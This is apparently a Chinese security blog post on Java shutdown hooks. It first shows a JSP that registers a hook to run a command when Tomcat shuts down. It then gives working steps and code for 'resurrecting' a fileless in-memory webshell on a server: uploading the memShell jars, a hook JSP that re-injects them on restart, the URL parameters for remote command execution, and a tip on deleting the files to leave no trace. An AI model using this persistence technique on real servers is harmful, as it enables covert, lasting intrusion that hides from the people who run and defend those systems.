ShutdownHook
Java可以使用钩子来实现程序退出后关闭资源的操作。
使用 Runtime.addShutdownHook(Thread hook) 方法,可以注册一个JVM关闭的钩子,这个钩子可以在以下几种场景被调用:
- 程序正常退出
- 使用System.exit()
- 终端使用Ctrl+C触发的中断
- 系统关闭
- 使用Kill pid命令干掉进程(kill -9 不会触发)
示例
写一个简单的jsp ```java <%— Created by IntelliJ IDEA. User: ying Date: 2022/2/14 Time: 15:49 To change this template use File | Settings | File Templates. —%> <%@ page contentType=”text/html;charset=UTF-8” language=”java” %> <% try { Thread t = new Thread() { public void run() { try { Runtime.getRuntime().exec(“calc”); } catch (Exception e) { } } }; t.setName(“shutdown Thread”); Runtime.getRuntime().addShutdownHook(t); } catch (Throwable t) { } %>
访问hook.jsp,每次结束tomcat都会执行钩子,也就是弹出计算器。这里可以重启一下tomcat<a name="fyQe9"></a># 内存马复活使用了[利用“进程注入”实现无文件复活 WebShell](https://www.freebuf.com/articles/web/172753.html)项目:[https://github.com/rebeyond/memShell](https://github.com/rebeyond/memShell)<br />先上传项目中的文件:agent.jar 和 inject.jar 到服务器上,然后写一个hook.jsp(文件名随意啦)```java<%--Created by IntelliJ IDEA.User: yingDate: 2022/2/14Time: 15:49To change this template use File | Settings | File Templates.--%><%@ page contentType="text/html;charset=UTF-8" language="java" %><html><head><title>Title</title></head><body><%try {Thread t = new Thread() {public void run() {try {//最后 asd 是密码,自行更改Runtime.getRuntime().exec("java -jar F:\\study\\JavaProject\\MemoryShell\\src\\main\\resources\\inject.jar asd");//恶意代码操作Runtime.getRuntime().exec("calc");} catch (Exception e) {}}};t.setName("shutdown Thread");Runtime.getRuntime().addShutdownHook(t);} catch (Throwable t) {}%></body></html>
然后访问http://localhost:8081/MemoryShell/hook.jsp,接着重启tomcat,访问http://localhost:8081/MemoryShell/asdaasd?pass_the_world=asd即可显示帮助内容(路由随意,存在不存在都行,因为是filter内存马)
访问http://localhost:8081/MemoryShell/asdaasd?pass_the_world=asd&model=exec&cmd=whoami即可执行命令
注意:hook一次后 inject.jar 会被删除,但是agent不会被删除,可以自己添加一个删除文件达到真正的无文件落地
上面项目的增强实现:https://github.com/keven1z/weblogic_memshell
